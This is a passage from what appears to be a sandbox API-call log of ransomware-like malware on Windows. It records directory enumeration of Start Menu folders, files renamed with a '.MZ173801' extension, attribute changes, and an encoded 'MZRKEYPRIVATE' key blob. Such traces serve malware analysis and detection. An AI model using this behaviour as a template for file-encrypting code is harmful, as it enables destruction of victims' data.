ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa2cbd38, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0xaa2cbd38, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0214.801] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0214.801] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.801] FindNextFileW (in: hFindFile=0xa1b5b0, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac589477, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac589477, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa9fd0d27, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x830, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="About Java.lnk.MZ173801", cAlternateFileName="ABOUTJ~1.MZ1")) returned 1 [0214.801] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0214.801] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.801] FindNextFileW (in: hFindFile=0xa1b5b0, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac589477, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac589477, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa27f8f0, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x842, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Check For Updates.lnk.MZ173801", cAlternateFileName="CHECKF~1.MZ1")) returned 1 [0214.801] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0214.801] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.801] FindNextFileW (in: hFindFile=0xa1b5b0, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac326e8c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac326e8c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa27f8f0, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x818, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Configure Java.lnk.MZ173801", cAlternateFileName="CONFIG~1.MZ1")) returned 1 [0214.801] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0214.801] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.801] FindNextFileW (in: hFindFile=0xa1b5b0, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac1cf99e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac1cf99e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa2a5aea, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xb4, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Get Help.url.MZ173801", cAlternateFileName="GETHEL~1.MZ1")) returned 1 [0214.801] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0214.801] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.801] FindNextFileW (in: hFindFile=0xa1b5b0, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac13703c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac13703c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa2cbd38, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Visit Java.com.url.MZ173801", cAlternateFileName="VISITJ~1.MZ1")) returned 1 [0214.802] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0214.802] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.802] FindNextFileW (in: hFindFile=0xa1b5b0, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac13703c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac13703c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa2cbd38, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Visit Java.com.url.MZ173801", cAlternateFileName="VISITJ~1.MZ1")) returned 0 [0214.802] GetLastError () returned 0x12 [0214.802] FindClose (in: hFindFile=0xa1b5b0 | out: hFindFile=0xa1b5b0) returned 1 [0214.802] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc248d7d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a9704bf, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Maintenance", cAlternateFileName="MAINTE~1")) returned 1 [0214.802] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0214.802] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0214.802] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc248d7d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a9704bf, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b5b0 [0214.802] FindNextFileW (in: hFindFile=0xa1b5b0, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc248d7d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a9704bf, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0214.802] FindNextFileW (in: hFindFile=0xa1b5b0, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a9704bf, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5f69dfa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5f69dfa, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0214.802] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0214.802] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.802] FindNextFileW (in: hFindFile=0xa1b5b0, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a9704bf, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5f69dfa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5f69dfa, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Desktop.ini", cAlternateFileName="")) returned 0 [0214.802] GetLastError () returned 0x12 [0214.802] FindClose (in: hFindFile=0xa1b5b0 | out: hFindFile=0xa1b5b0) returned 1 [0214.802] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc248d7d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a9704bf, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b6c8 [0214.803] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0214.803] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.803] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc248d7d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a9704bf, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0214.803] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0214.803] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.803] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a9704bf, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5f69dfa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5f69dfa, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0214.803] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a9704bf, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5f69dfa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5f69dfa, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Desktop.ini", cAlternateFileName="")) returned 0 [0214.803] GetLastError () returned 0x12 [0214.803] FindClose (in: hFindFile=0xa1b6c8 | out: hFindFile=0xa1b6c8) returned 1 [0214.803] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4b0ade7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfd412f52, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfd412f52, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Microsoft Office 2016 Tools", cAlternateFileName="MICROS~1")) returned 1 [0214.803] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0214.803] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0214.803] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4b0ade7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfd412f52, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfd412f52, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b540 [0214.804] FindNextFileW (in: hFindFile=0xa1b540, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4b0ade7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfd412f52, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfd412f52, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0214.804] FindNextFileW (in: hFindFile=0xa1b540, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4ba375b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4ba375b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa03, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Database Compare 2016.lnk", cAlternateFileName="DATABA~1.LNK")) returned 1 [0214.804] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0214.804] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.804] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Database Compare 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\database compare 2016.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4ba375b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4ba375b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa03)) returned 1 [0214.993] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Database Compare 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\database compare 2016.lnk")) returned 0x20 [0214.993] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Database Compare 2016.lnk", dwFileAttributes=0x80) returned 1 [0214.995] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0214.995] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24b729c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 